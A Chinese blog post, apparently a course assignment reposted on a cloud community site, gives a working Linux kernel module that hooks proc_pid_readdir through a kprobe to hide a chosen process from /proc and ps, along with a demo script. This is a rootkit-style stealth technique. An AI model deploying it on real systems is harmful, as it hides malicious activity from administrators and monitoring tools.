Linux核心通過inline hook實現隱藏進程

來源:互聯網
上載者:User

這是我們作業系統的大作業。
原理就是inline hook 那個 proc 檔案系統,根目錄下的 readdir 的函數。
替換掉第三個參數,filldir。
代碼爆短,60來行。
Ubuntu 10.04 測試可用。

#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/fs.h>

int register_kprobe(struct kprobe *kp);

static struct kprobe kp = {
    .symbol_name    = "proc_pid_readdir",
};

static filldir_t old_filldir;
static int pid;

module_param(pid, int, 0744);

static int filldir(void * __buf, const char * name, int namlen, loff_t offset,
           u64 ino, unsigned int d_type)
{
    int p;
    sscanf(name, "%d", &p);
    if (p == pid)
        return 0;
    return old_filldir(__buf, name, namlen, offset, ino, d_type);
}


/* kprobe pre_handler: called just before the probed instruction is executed */
static int handler_pre(struct kprobe *pr, struct pt_regs *regs)
{
    old_filldir = (filldir_t)regs->cx;
    regs->cx = (typeof(regs->cx))filldir;
    return 0;
}

static int __init k_init(void)
{
    int ret;

    kp.pre_handler = handler_pre;

    ret = register_kprobe(&kp);
    if (ret < 0) {
        printk(KERN_INFO "register_kprobe failed, returned %d\n", ret);
        return ret;
    }
    printk(KERN_INFO "Planted kprobe at %p; pid %d\n", kp.addr, pid);

    return 0;
}

static void __exit k_exit(void)
{
    unregister_kprobe(&kp);
    printk(KERN_INFO "kprobe at %p unregistered\n", kp.addr);
}

module_init(k_init);
module_exit(k_exit);
MODULE_LICENSE("GPL");



sleep 1000 &
pid=`jobs -p`
echo 'before hide'
ps aux | grep $pid
insmod k.ko pid=$pid
echo 'after hide'
ps aux | grep $pid
rmmod k.ko
echo 'after unhide'
ps aux | grep $pid

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.